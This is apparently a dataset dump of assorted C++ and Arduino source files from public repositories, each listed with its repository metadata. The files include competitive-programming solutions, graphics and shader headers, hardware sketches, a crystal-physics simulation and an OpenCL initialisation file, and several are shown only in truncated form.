10cf12693dd74db9dd6478de61be42cc662358b5 | 76fe0a0404ca1d71779fc6c1122b87e0d7a7aa1b | /codeforces/rounds/Educational 54/e.cpp | 431a5c968021c92eee9d3ef252c0abc3d4b470d5 | [] | no_license | vitorguidi/Competitive-Programming | 905dd835671275284418c5885a4a1fae2160f451 | 823a9299dce7b7f662ea741f31b4687f854bb963 | refs/heads/master | 2021-06-25T06:58:53.670233 | 2020-12-19T16:53:15 | 2020-12-19T16:53:15 | 133,260,248 | 3 | 0 | null | 2018-05-13T17:46:43 | 2018-05-13T17:40:24 | null | UTF-8 | C++ | false | false | 1,697 | cpp | e.cpp | #include "bits/stdc++.h"
using namespace std;
#define pb push_back
#define mp make_pair
#define fst first
#define snd second
#define fr(i,n) for(int i=0;i<n;i++)
#define frr(i,n) for(int i=1;i<=n;i++)
#define ms(x,i) memset(x,i,sizeof(x))
#define dbg(x) cout << #x << " = " << x << endl
#define all(x) x.begin(),x.en... |
85759b4f426f70fffbb2916d73c64b913e78be60 | 0f798a45a35129a0d831b1600672a43552501639 | /include/framework/shader.h | 5b2dfdc4a2aee08c9ac8eb8d20c36e7ceb099218 | [
"MIT"
] | permissive | galek/brokkr | 1d1151aef0ed828b69e069b1db2acba3ff82a71a | 9917d9315df2e9b2d4f03be36b9a7efd0d07c698 | refs/heads/master | 2021-11-10T14:52:47.600698 | 2019-09-23T15:25:54 | 2019-09-23T15:25:54 | 169,486,601 | 0 | 0 | null | 2019-02-06T22:28:06 | 2019-02-06T22:28:06 | null | UTF-8 | C++ | false | false | 3,912 | h | shader.h | /*
* Copyright(c) Ferran Sole (2017-2019)
*
* This file is part of brokkr framework
* (see https://github.com/fsole/brokkr).
* The use of this software is governed by the LICENSE file.
*/
#ifndef SHADER_H
#define SHADER_H
#include <stdint.h>
#include <string>
#include <vector>
#include "core/maths.h"
#include "core/... |
c81f2ca9bf907715471c501c7495f56855c4c2b8 | 4ad4e41c0f3583a82f18e8a98973f1a6f20b250a | /code/LibEpipolarConsistency/Gui/PreProccess.h | 5c056b0f52dee8167c3b6a9b1465542e35459e03 | [
"Apache-2.0"
] | permissive | ashishd/EpipolarConsistency | c0615fc082f180c118c81de623f5433949ab34c5 | 8feb718e6b35a943d30684a40e52feb024df91fc | refs/heads/master | 2023-05-30T02:46:16.491775 | 2021-06-13T10:54:34 | 2021-06-13T10:54:34 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,593 | h | PreProccess.h | // Created by A. Aichert on Tue Mar 21st 2017.
#ifndef __pre_process_h
#define __pre_process_h
#include <GetSet/GetSetObjects.h>
#include <LibProjectiveGeometry/ProjectionMatrix.h>
#include <LibProjectiveGeometry/EigenToStr.hxx>
#include <NRRD/nrrd_image_view.hxx>
namespace EpipolarConsistency
{
/// Pre-processing ... |
e77aa5e826f99011cf6456ceb6464f526c89c3ff | c64ee7b8d5aedf564a3c88a68fbf28f0529efdc7 | /Md5Utilities.h | 17a3222b638ca9ab15cb372aeedc1182402f02bb | [
"MIT"
] | permissive | Rokkai/matterbot | 6d18f3d858f9334d661447ee0b3e3ea2ddcf2714 | 6be03b5e94257876d3cdbe0ec2de0cdc5da5aca3 | refs/heads/master | 2021-01-19T22:48:14.420737 | 2017-04-27T16:08:20 | 2017-04-27T16:08:20 | 88,873,243 | 1 | 0 | null | 2017-04-20T14:11:59 | 2017-04-20T14:11:59 | null | UTF-8 | C++ | false | false | 1,038 | h | Md5Utilities.h | #pragma once
#include <array>
#include <unordered_map>
namespace lospi
{
typedef std::array<unsigned char, 16> Md5Digest;
Md5Digest compute_md5(const char *data, unsigned long size); // takes a c-style string and its size and creates an md5Digest /
Md5Digest get_md5_from_str(const std::wstring &md5_str); //... |
def6e9bcba33b31bfd862acfab8297ab463b0cce | 89b76f3a8d1e790b19d4aff0ff2cd6fc938b7741 | /src/txn_validation_config.h | 313dc9d64adb8735c65a4caa9e1bd382cdd8dde2 | [
"LicenseRef-scancode-warranty-disclaimer",
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | Trackerming/bitcoin-sv | 27a47d57887fde8445fee5a7d8719c47a95d7f16 | fb50a64e3ea0334a86b2c80daf5147c5bc2693c4 | refs/heads/master | 2021-07-07T07:20:26.060533 | 2020-08-05T02:35:56 | 2020-08-05T02:35:56 | 160,283,904 | 0 | 0 | MIT | 2020-08-05T02:35:57 | 2018-12-04T02:24:56 | C++ | UTF-8 | C++ | false | false | 947 | h | txn_validation_config.h | // Copyright (c) 2019 The Bitcoin SV developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#pragma once
#include <chrono>
/** A default ratio for max number of standard transactions per thread. */
static constexpr uint64_... |
896e8bd304e1538fdc89dfa1774b06ce70fa8017 | 6595a7672af5358bdfdbaba7aa33bf7a77f28cb3 | /SoThuanNguyenTo.cpp | 94b317d293ef98654340e0878f534348f41d7ac2 | [] | no_license | tuanhuy333/Cplus | 75df3e5d43539e3eaa675d02f86be067cc39a9eb | cca5b80861701ad85c84dfe7a4ada71e3c9cbe6e | refs/heads/master | 2020-11-28T01:07:57.857385 | 2019-12-23T03:19:58 | 2019-12-23T03:19:58 | 229,665,240 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,036 | cpp | SoThuanNguyenTo.cpp | #include<stdio.h>
#include<math.h>
int SNT(int n)
{
if(n<2)
{
return 0;
}
for(int i=2;i<=sqrt(n);++i)
{
if(n%i==0)
{
return 0;
}
}
return 1;
}
int DemChuSo(int n)
{
int demso=0;
while(n!=0)
{
//chuso=n%10;
demso++;
n/=10;
}
return demso;
}
int KTtungchuso(int n)
{
//so do phai co tat ca... |
c0f1c1c65e7811e39ec7651bbe450425a9e47343 | 627b892b87825e9fbab3b8470e4517fb0ea12981 | /Fase4/headers/Figure.h | 828784a7f77a101edfcd491d35ff8a5440482d98 | [] | no_license | ineesalvees/CG | cfeac4a59b480c49a124ce1db441203668938c06 | 1c57e7635e7e412bc30ba7b455fbcb3e6596a36d | refs/heads/master | 2022-01-15T18:55:12.629777 | 2019-05-15T14:18:38 | 2019-05-15T14:18:38 | 172,953,226 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 782 | h | Figure.h | #ifndef _FIGURE_H_
#define _FIGURE_H_
#include "Vertex.h"
#include <vector>
class Figure {
private:
std::vector<Vertex> vertexes;
std::vector<Vertex> norm;
std::vector<Vertex> tex;
public:
std::vector<Vertex> getvertexes ();
std::vector<Vertex> getnorm ();
std::vector<Vertex> gettex ();
... |
7e9fab55e91b7e871c6bbb94c93a4201d52ef80f | c7c492c2394b73c677dd358b31d9a788c02ae61a | /CODEFORCES/kmiraistone.cpp | 928b6e509f4ca41898133d57bfbb699d3c76da72 | [] | no_license | durga2312/Competitive-Programming | 81cadf3b57edc985afb22536ea8daad92034a417 | f3bf07e813064cf22567f9eb54d9ca23e6cedbc2 | refs/heads/master | 2022-12-31T22:21:51.652328 | 2020-10-14T17:26:08 | 2020-10-14T17:26:08 | 283,835,624 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 886 | cpp | kmiraistone.cpp | #include <bits/stdc++.h>
#define ll long long int
using namespace std;
int main()
{
ios::sync_with_stdio(false);
cin.tie(0);
ll n;
cin>>n;
vector<ll> a;
a.resize(n);
ll ans=0;
ll i;
for(i=0;i<n;i++)
{
cin>>a[i];
}
ll m;
cin>>m;
vector<ll> p;
p.resize(n);
p[0]=a[0];
for(i=1;i<n;i++)
{
p[i]=p[i-1]+a... |
fcb9235d4a9e7408bde7461653b97251bf6711eb | 279324a6c345135f77f718ca0af4fc4f1ea7e6e8 | /src/processors/text/TextField.cpp | 8f835155df0ffc9c7259a7b3af420e94cdd41019 | [] | no_license | latufla/BRenderer | 8ec47be04cf73978c76d5a005f5dbde1dce4712e | 7b890f1ab7ef87c22f6eee1db4b3f49eeca903c7 | refs/heads/master | 2021-01-01T06:04:47.030970 | 2015-02-27T09:46:38 | 2015-02-27T12:56:11 | 26,016,340 | 6 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,712 | cpp | TextField.cpp | #include "TextField.h"
#include "../../utils/SharedHeaders.h"
using std::string;
using std::to_string;
using std::array;
namespace br {
TextField::TextField(Font& font, string text, const glm::vec4& color, const glm::vec2& position, const glm::vec2& scaleFactor)
: fontName(font.getName()),
fontSize(font.getSize(... |
6053bd6e47e60c4c4c809c1be4aa2199008a99b2 | 46b2e1816f565adf8a5aad2c14bff10bd2625b05 | /include/feature/feature_detect_frontend.h | af01f7cfd106c12bbd01b057584f05be488ab6cc | [] | no_license | spacejake/telef | e6ccfc0a2645bac2b838c916f62d38f1a03634f7 | b582bd8572e998617b5a0d197b4ac9bd4a9b42be | refs/heads/master | 2023-04-22T05:51:20.563590 | 2021-05-20T02:37:18 | 2021-05-20T02:37:18 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,317 | h | feature_detect_frontend.h | #pragma once
#include <opencv2/core/core.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <opencv2/imgproc/imgproc.hpp>
#include <dlib/data_io.h>
#include <dlib/gui_widgets.h>
#include <dlib/image_processing.h>
#include <dlib/image_transforms.h>
#include <dlib/opencv/cv_image.h>
#include "face.h"
#include "featu... |
b4d28123cd0209ab63befca4719c52e19da25174 | 16d40f0215d31250ca58c13838b2193115040c96 | /EnergyLibLeak/EnergyLibLeak/EnergyLibLeak.cpp | 3646001afd238f0a703a34b9de9f56993476a148 | [] | no_license | ariccio/EnergyLibLeak | ad5d2ee55c29c49b8bdec01bfe91444ddc7c91c2 | 0b92b83b5b8b4e567f955dc2d588fd658e0be859 | refs/heads/master | 2016-08-12T04:06:59.305493 | 2015-10-08T03:09:53 | 2015-10-08T03:09:53 | 43,859,335 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,038 | cpp | EnergyLibLeak.cpp | // Intel Power Gadget/EnergyLib "\\.\EnergyDriver" handle leak
// Enable "Leak" under "Basics" in Application Verifier and run this in a debugger to see the leaked handle.
// Application Verifier comes with the Debugging Tools for Windows
// Find the Debugging Tools for Windows here: https://msdn.microsoft.com/en-us/li... |
046acd1eba7b5a4b4984bd7465149d2fc4e1e709 | 3d144a23e67c839a4df1c073c6a2c842508f16b2 | /test/Interop/Cxx/namespace/Inputs/free-functions.h | 4cb49880f2c87748d73dca9c666c28ad53f361ed | [
"Apache-2.0",
"Swift-exception"
] | permissive | apple/swift | c2724e388959f6623cf6e4ad6dc1cdd875fd0592 | 98ada1b200a43d090311b72eb45fe8ecebc97f81 | refs/heads/main | 2023-08-16T10:48:25.985330 | 2023-08-16T09:00:42 | 2023-08-16T09:00:42 | 44,838,949 | 78,897 | 15,074 | Apache-2.0 | 2023-09-14T21:19:23 | 2015-10-23T21:15:07 | C++ | UTF-8 | C++ | false | false | 2,038 | h | free-functions.h | #ifndef TEST_INTEROP_CXX_NAMESPACE_INPUTS_FREE_FUNCTION_H
#define TEST_INTEROP_CXX_NAMESPACE_INPUTS_FREE_FUNCTION_H
namespace FunctionsNS1 {
inline const char *basicFunctionTopLevel() {
return "FunctionsNS1::basicFunctionTopLevel";
}
inline const char *forwardDeclared();
inline const char *definedOutOfLine();
struc... |
ed131fa7b206de4ed1a6443b24ea539b1f49e25b | 74870e1d278f20027ea0213d9d87ee6128a01f65 | /Q3955.cpp | 9ca063726f46afa5c457959bb45b17bcdd79993e | [] | no_license | jleun1403/BOJ_CPP | 795816db9e8a2828ec48aaf9f8da9276d4b0abef | 415502a8fd7093f469a3b7bf1c5e756505ae0e76 | refs/heads/master | 2020-07-10T01:28:42.157301 | 2019-08-24T11:41:03 | 2019-08-24T11:41:03 | 204,131,610 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,649 | cpp | Q3955.cpp | #include <bits/stdc++.h>
using namespace std;
long long q[100000];
long long r[100000];
long long sqq[100000];
long long tqq[100000];
long long gcd(long long x, long long y) {
if ( y == 0) return x;
else return gcd(y, x % y);
}
pair<long long, long long> Euclid(long long a, long long b) {
memset(r, ... |
d7c84f2a06e080d5232d772f01b682ec0f59185b | 06fd3ec6f1ca4c9cadd41390630c9283b6eaba45 | /Thing/Commands/CommandCreator.h | 770220d09078bd1a1a9d7e1271d3e04ae4b29278 | [] | no_license | Doodleman360/TheThing | 633347a72389c654ec7527664da9ff86a2565a2b | 13a26d1943194afe0e199d72a0c351231c07b6ed | refs/heads/master | 2020-12-26T01:14:09.723172 | 2015-07-16T20:44:44 | 2015-07-16T20:44:44 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,958 | h | CommandCreator.h | /*
* CommandCreator.h
*
* Created on: Apr 27, 2015
* Author: williamcoon
*/
#ifndef COMMANDS_COMMANDCREATOR_H_
#define COMMANDS_COMMANDCREATOR_H_
#include "Arduino.h"
#include "Parameters.h"
#include "CommandCenter.h"
#include "StringHashTable.h"
#include "PrintCommand.h"
#include "MoveFinger.h"
#include "... |
bef4ebb55282cc7d8d65c18398351809f52c6b36 | 155f1651b2c726a11228ba80bed8e4be91f862fa | /ex3Servo/ex3Servo.ino | cde20c2b10c2bbe70b168619c2479ac1d5064c37 | [] | no_license | tetsuya98/TDsArduinoGroove | 59bf2366c727ab1cd7036e8fc9a72efcfb59f05f | d363a34f3afa164088fcdca426a41c2660f685f2 | refs/heads/main | 2023-04-05T02:59:08.060362 | 2021-04-21T10:32:04 | 2021-04-21T10:32:04 | 360,125,873 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 583 | ino | ex3Servo.ino | #include <Servo.h>
Servo myservo;
const int PTM = A0; //Rotary Angle Sensor (Potentiometre)
int valuePTM;
int valueSRV;
void setup() {
// put your setup code here, to run once:
pinMode(PTM, INPUT);
myservo.attach(3);
}
void loop() {
// Valeur min du potentiometre
if (valuePTM < 10)
{
valuePTM = 10;... |
846f5ba28e0545a495f3cfcb57c887aef766b8be | 2c1de10af3ad781423e32f1cbf3406cf65077797 | /C++ progaming/Лабораторная работа №3/Гулый Тарас LAB3SEM4/LAB3SEM2_Polimorph/LAB3SEM2_Polimorph/main.cpp | 8dc6694d8c997b9e8eda195068aca5b506e1fb07 | [] | no_license | guliutaras/2-course | 8ff0c1f98c5a5266e8aca7f68e16cb151fe4afdb | 10f8bd4b1869dc73c51bc0232a40f3edec9f0d9c | refs/heads/master | 2021-05-12T00:05:03.121854 | 2018-01-15T09:18:10 | 2018-01-15T09:18:10 | 117,523,813 | 0 | 0 | null | null | null | null | WINDOWS-1251 | C++ | false | false | 2,342 | cpp | main.cpp | #include "graphics_in_console.h"
void ListOptions(ShapeList L);
int main()
{
ShapeList Main_List;
system("CHCP 1251>NUL");
cout<<"Вас приветствует лабораторная работа №3 семестра 2"<<endl;
ListOptions(Main_List);
return 0;
}
void ListOptions(ShapeList L)
{
while(true)
{
cout<<"Меню работы со списокм фигур"<... |
889f131e68fbf2b940a421800c7c033ad02c0404 | 48c4ae1f8eae90082432273028302c0a977af6c0 | /include/q0086_partition.hpp | 39adeb2266f1716eae11f73bd0fd7c190f4e5fd5 | [] | no_license | hahahaMing/cmake_demo | b4c7f36ba270f9dfcbf9b4b7c47e5ffa885c4574 | e435e31b73ceda818a0378dc767ca3b3c00fc6e2 | refs/heads/master | 2021-09-29T03:00:35.275055 | 2021-09-26T06:28:30 | 2021-09-26T06:28:30 | 205,612,148 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,383 | hpp | q0086_partition.hpp | //
// Created by ming on 2021/1/3.
//
#ifndef CMAKETEST_Q0086_PARTITION_HPP
#define CMAKETEST_Q0086_PARTITION_HPP
#endif //CMAKETEST_Q0086_PARTITION_HPP
#include"tools.hpp"
/*
* ctrl+r replace
* std::
*/
class Solution {
public:
ListNode *partition(ListNode *head, int x) {
ListNode *pre_small = new L... |
558771fefd22ad557b4665c506c84c69373aefa6 | 133a001c23426d4470352816589cd6b2450af584 | /Alans_Turntable/Alans_Turntable.ino | 7a443d0f7ab21d789ed050d3f96a140e381e8ca9 | [] | no_license | jones139/arduino-projects | 494bbfd6c635cc8760035a4f7a06eef54352a438 | 8eaee8a13a64aac47a1e65f24bb7d8b859ea02c4 | refs/heads/master | 2021-01-17T09:25:59.294433 | 2017-03-24T21:29:02 | 2017-03-24T21:29:02 | 6,639,715 | 4 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 10,008 | ino | Alans_Turntable.ino | /* Alans_Turntable - Arduino based model railway turntable controller.
* Copyright (C) 2017 Graham Jones & Alan Jones
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either versi... |
d478c8da91fed248c114da727a0c894d0f54301e | b566c824f7afef50605bc51c254f49f521bde44d | /iyan3d/trunk/Iyan3D-Android/app/src/main/jni/Iyan3dEngineFiles/HeaderFiles/SGAutoRigSceneManager.h | 07127a1d4962eaa20c98d2828994dfbd91a16b22 | [
"MIT"
] | permissive | lanping100/Iyan3d | c8292a0a7e4a34b5cb921c00f8bbe4ee30ba78aa | c21bb191cec06039a3f6e9b2f19381cbd7537757 | refs/heads/master | 2020-06-17T13:53:58.907502 | 2019-07-02T07:43:39 | 2019-07-02T07:43:39 | 195,943,149 | 1 | 0 | MIT | 2019-07-09T06:06:31 | 2019-07-09T06:06:31 | null | UTF-8 | C++ | false | false | 2,862 | h | SGAutoRigSceneManager.h | //
// SGAutoRigSceneManager.h
// Iyan3D
//
// Created by Karthik on 31/12/15.
// Copyright © 2015 Smackall Games. All rights reserved.
//
#ifndef SGAutoRigSceneManager_h
#define SGAutoRigSceneManager_h
#include "exportSGR.h"
#include "AutoRigHelper.h"
#include "AutoRigJointsDataHelper.h"
#include "Constants.h"
#i... |
33de5252a31b79d55495bc08e12f4012137f929e | b8f8161d72ae9bac2bb5c5713643afa53e8165bb | /Exercicos Resolvidos/Lista 1 Programaçao Descomplicada/11.cpp | 21e9f12e015980c7b2e4a6ff38b4e09bcd29a900 | [] | no_license | Douglas10Holanda/CodsFUP2019.1 | 0411342a5295b343e0b45a1cc0fe6898b0cdc0c0 | 834af9249a575ca932de57b8b22efb3357f23b74 | refs/heads/main | 2023-09-01T13:22:12.090074 | 2021-10-05T21:54:32 | 2021-10-05T21:54:32 | 413,989,526 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 359 | cpp | 11.cpp | #include<stdio.h>
#include<stdlib.h>
float dias_trabalhados,quantia;
main ()
{
printf("Qual foi o numero de dias trabalhados?:");
scanf("%f",&dias_trabalhados);
quantia=((30.0*dias_trabalhados)-(30.0*dias_trabalhados)*(0.08));
printf("Voce recebera a quantia de:%f\n",quantia);
sys... |
1d0ca8ba524f28ae84c3303e67d6686bba0cf801 | a34618325f2797535a6cc1dbb78b88d03ff787e1 | /phi/src/ECHARM_crystal.cpp | 5b14db0500bfc6a12511e440286acad354eb46b4 | [] | no_license | ebagli/ECHARM_CXX | 420014326f66b4658242de452cb065f448a8c110 | 7a8e178d63680d04394f5e98072a52165c7e6fd5 | refs/heads/master | 2021-01-17T09:06:20.098659 | 2018-11-06T09:53:38 | 2018-11-06T09:53:38 | 23,628,627 | 3 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 26,083 | cpp | ECHARM_crystal.cpp | //
// ECHARM_crystal.cpp
//
//
// Created by Enrico Bagli on 04/06/12.
// Copyright 2012 Enrico Bagli. All rights reserved.
//
#include <cfloat>
#include <limits>
ECHARM_crystal::ECHARM_crystal()
{
InitializePointersCrystal();
}
//....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......
... |
07cb03394743f5c33b1ac7c37926edd172ce9e44 | 91f270e39fc48237df390b63d1818d6f7b6aebdf | /libuavcan/test/node/test_node.hpp | a8e6fc84fb3e6ba043008d0768a897adcb177261 | [
"MIT"
] | permissive | Formlabs/libuavcan | 35dbdb1d391e0436a6ab3b56d5d35717724a93be | 9ef2b4a1a7fe1dd5e1c860c8635f1c36375b057c | refs/heads/master | 2022-11-08T18:33:08.989667 | 2022-09-23T14:01:04 | 2022-09-23T14:01:04 | 111,114,990 | 2 | 7 | MIT | 2022-09-23T14:01:05 | 2017-11-17T14:51:29 | C++ | UTF-8 | C++ | false | false | 7,783 | hpp | test_node.hpp | /*
* Copyright (C) 2014 Pavel Kirienko <pavel.kirienko@gmail.com>
*/
#pragma once
#if __GNUC__
# pragma GCC diagnostic ignored "-Wzero-as-null-pointer-constant"
#endif
#include <uavcan/node/abstract_node.hpp>
#include <uavcan/helpers/heap_based_pool_allocator.hpp>
#include <memory>
#include <set>
#include <queue>
... |
cde580056127355aa549dabd74a6360d5fd2fbfa | f3e207f0ee220aba679d6f15f274b3c0eae5f205 | /Calcuar_hipotenusa/Calcuar_hipotenusa.ino | 3895cd8c4d30bb2a8b4b56a398ecb8969beaac48 | [] | no_license | aleixpallaress/programes-arduino | 41bcd7e9c6bfc3a82848ad08181847f043fdf5d8 | e5bacde679b2ef0508dc8b9c27fec827a31965c6 | refs/heads/master | 2020-04-20T21:24:09.557106 | 2019-02-25T15:56:58 | 2019-02-25T15:56:58 | 169,107,981 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 354 | ino | Calcuar_hipotenusa.ino |
int a = 3;
int b = 4;
int h =0;
void setup() {
Serial.begin(9600); //set up Serial library at 9600 bps
Serial.print("a = ");
Serial.println(a);
Serial.print("b = ");
Serial.println(b);
Serial.print("h = ");
h = sqrt(pow(a,2) +pow(b,2));
Serial.println(h);
}
void loop() {
// put your main... |
7fff8953629b09c6dabba5e09f4f4029f15053b2 | 08ff892af644642d3d75c727d52200443e39796c | /module-05/ex03/Intern.cpp | 424d8116540cd821afb0e3354fb521f29036c01e | [
"MIT"
] | permissive | kotabrog/CPP-module | 9bf0f1866a34fb42e1ae949b6e88a90cddaef80e | db858e57ac194d4ca9b38667ff3820418b42e9c8 | refs/heads/main | 2023-07-02T06:28:53.931788 | 2021-08-14T07:03:54 | 2021-08-14T07:03:54 | 387,164,790 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,243 | cpp | Intern.cpp | #include "Intern.hpp"
Intern::Intern() {}
Intern::Intern(const Intern&) {}
Intern::~Intern() {}
Intern& Intern::operator=(const Intern&)
{
return *this;
}
Form* Intern::makeShrubberyCreation(const std::string& target) const
{
Form* form = new ShrubberyCreationForm(target);
return form;
}
Form* Intern::m... |
6379f7ff006138dcb9a75512df9d54a59e18e65a | 22d5d10c1f67efe97b8854760b7934d8e16d269b | /LeetCodeCPP/205. Isomorphic Strings/main.cpp | ade97107c4d75809dd138a71f508dbf333e8d31d | [
"Apache-2.0"
] | permissive | 18600130137/leetcode | 42241ece7fce1536255d427a87897015b26fd16d | fd2dc72c0b85da50269732f0fcf91326c4787d3a | refs/heads/master | 2020-04-24T01:48:03.049019 | 2019-10-17T06:02:57 | 2019-10-17T06:02:57 | 171,612,908 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 691 | cpp | main.cpp | //
// main.cpp
// 205. Isomorphic Strings
//
// Created by admin on 2019/6/11.
// Copyright © 2019年 liu. All rights reserved.
//
#include <iostream>
#include <vector>
using namespace std;
class Solution {
public:
bool isIsomorphic(string s, string t) {
int len=s.length();
vector<int> table_s... |
b7e1ea77357fd1f8f202fc32dc127bb5d7508062 | 0bbfc371e210ef951cef31622aeaba722c388180 | /src/ivtentry.cpp | a9dd18180bbea1b2d546584b0f46eb66177d64f0 | [
"CC0-1.0"
] | permissive | valzgit/OS-Kernel | 45d52e48d95de42d75fa0b988d28251fa0463852 | 189ec26c8df7ab3e98bbe5fa119fd4a8acfd0849 | refs/heads/main | 2023-04-28T22:17:13.619631 | 2021-05-16T21:04:00 | 2021-05-16T21:04:00 | 367,984,612 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 396 | cpp | ivtentry.cpp | #include "ivtentry.h"
#include "pcb.h"
IVTEntry* IVTEntry::entries[256] = {0};
IVTEntry::IVTEntry(IVTNo num, pInterrupt newIntr) {
LOCK
entries[num] = this;
ev = 0;
this->num = num;
prevIntr = getVect(num);
setVect(num, newIntr);
UNLOCK
}
IVTEntry::~IVTEntry() {
LOCK
entries[num] = 0;
set... |
d9a264ba6094916dd41d383a6615133d3c6c9c3b | d97564d9a1b40941de28de679e7b06bc16a2a8b3 | /MFCprotocolstudy/MFCApplication1/MFCApplication1Dlg.cpp | e991e80d30f83ec97a48a8630278ccf3b35fc3a6 | [] | no_license | sp0nd/Networkprogramming | 657e0101a66243c20d9c91c326c176784b5504f5 | bb5aacd6540ba2f8ec5906714fd246881bfa7cf6 | refs/heads/main | 2022-12-30T05:27:58.440508 | 2020-10-17T05:09:26 | 2020-10-17T05:09:26 | 304,799,541 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,335 | cpp | MFCApplication1Dlg.cpp |
// MFCApplication1Dlg.cpp: 구현 파일
//
#include "pch.h"
#include "framework.h"
#include "MFCApplication1.h"
#include "MFCApplication1Dlg.h"
#include "afxdialogex.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// 응용 프로그램 정보에 사용되는 CAboutDlg 대화 상자입니다.
class CAboutDlg : public CDialogEx
{
public:
CAboutDlg();
// 대화 상자 ... |
d21a5a53cd14ddd15ffc64ac5dfa6e0bcd072472 | ab4ecc99d10d7afa470858bffcc1ad8c4c6deb6c | /Tensor.h | 88567e16522e7fb7b14a50bb5a97cfaa9556fe92 | [] | no_license | jcq15/oop_bigAssignment | 2aae19fa8d4c17d43e2f355a72b4805b2ac6e58c | a1195528cc7cbe3dfa9d0b3a1bad24118d34b530 | refs/heads/master | 2020-03-15T03:36:48.757600 | 2018-07-10T08:11:34 | 2018-07-10T08:11:34 | 131,946,647 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,007 | h | Tensor.h | #ifndef TENSOR
#include <random>
#include <string>
#include <cstring>
#include <stdexcept>
#include <cmath>
#include <utility>
#include <iostream>
#define TENSOR
class Tensor {
private:
int n, m;
double value;
double** matrix;
bool ismat;
public:
Tensor() :n(0), m(0), value(0), matrix(nullptr), isma... |
651d6b8fa6cd1da69896771b192b8e4936a591d6 | 6ffa05486404b09ac789d71a37b2bdcd1d2768a6 | /third_party/include/prman/RixShadingBuiltin.h | fb277eabb60c3681813caef2fcfa0d07b0d1ae55 | [
"Unlicense"
] | permissive | all-in-one-of/CopperFX | 4dada97d54b9f92ad960a7af27d22b12ce3c6464 | 9a50b69a57ebd6aa578d12456e34d792a7c51916 | refs/heads/master | 2020-07-08T18:49:47.834624 | 2019-08-24T01:38:44 | 2019-08-24T01:38:44 | 203,748,279 | 0 | 0 | Unlicense | 2019-08-22T08:23:37 | 2019-08-22T08:23:36 | null | UTF-8 | C++ | false | false | 5,290 | h | RixShadingBuiltin.h | #ifndef RixBuiltinShading_h
#define RixBuiltinShading_h
/* $Revision: #4 $ $Date: 2015/01/14 $
# ------------------------------------------------------------------------------
#
# Copyright (c) 2013-2015 Pixar Animation Studios. All rights reserved.
#
# The information in this file (the "Software") is provided for the
... |
5c3d1c96e86079c47b925ec9c1e01abd51904ba7 | 3949352bcdc70727409a0d71650896edfae08a15 | /CPPVersion/AoC2020CPP/AoC2020CPP/Day11.cpp | 5db5fd83e486100e26f9b0652e987025dcc7e519 | [] | no_license | AndrewF001/AoC2020CPP-Java | 08b7e6951ff099ee3294403fa39baa564245c7fd | 03679b4d93a5026b488b0d873ba380f76dd18880 | refs/heads/main | 2023-02-02T12:00:06.336343 | 2020-12-13T19:49:23 | 2020-12-13T19:49:23 | 317,822,189 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 4,417 | cpp | Day11.cpp | #include "Day11.h"
Day11::Day11() :DefaultClass(11, true)
{
Layout = FR.ReadCharGrid();
for (int i = 0; i < Layout.size(); i++)
{
for (int c = 0; c < Layout[0].size(); c++)
{
if (Layout[i][c] == 'L')
Layout[i][c] = '#';
}
}
TimeResetClock();
Part1();
TimeResetClock();
Part2();
TimeClock();
}
voi... |
a5fee5f71849565d3b3d0f3b5cca74a443c88123 | 393b400fb0bb6d02b545ff9b0d46d051935b9387 | /src/init.cpp | 32a94b1193387c23ec2e7ed98f4e857ccfe37e6d | [
"Apache-2.0"
] | permissive | judicaelclair/clvk | f681fdbb1030c48180395e3a6b86bb8559aef801 | 719a33bcebe29bd3cbfee38980bb577580dd7b98 | refs/heads/master | 2022-12-17T11:18:40.526477 | 2020-09-09T15:22:35 | 2020-09-09T15:22:35 | 294,144,240 | 0 | 0 | Apache-2.0 | 2020-09-09T14:53:58 | 2020-09-09T14:53:57 | null | UTF-8 | C++ | false | false | 10,124 | cpp | init.cpp | // Copyright 2018 The clvk authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed ... |
5741bc392c6532dec7d2fb2100411af15de2bf18 | b3c73a56830451cf8281107404d75be9078b6884 | /Ejercicio_Condicionales_01.cpp | 3d120c6d1dc57057057d971c0562627f099006be | [] | no_license | rosanma4/Class_prog_C | 964f0703ebf5dfe0dd25a1fee55143eabf258095 | 8a7c8d4bc032ad03a43eff9b2905c37301740f51 | refs/heads/master | 2021-04-27T14:41:14.831194 | 2020-05-03T09:11:35 | 2020-05-03T09:11:35 | 122,457,409 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 227 | cpp | Ejercicio_Condicionales_01.cpp | #include "iostream"
using namespace std;
int main()
{
int resultado = 0;
cout << "Cuanto es 39+50? ";
cin >> resultado;
if(resultado == 39+50)
{
cout << "Respuesta Correcta. Felicitaciones!\n";
}
system("PAUSE");
}
|
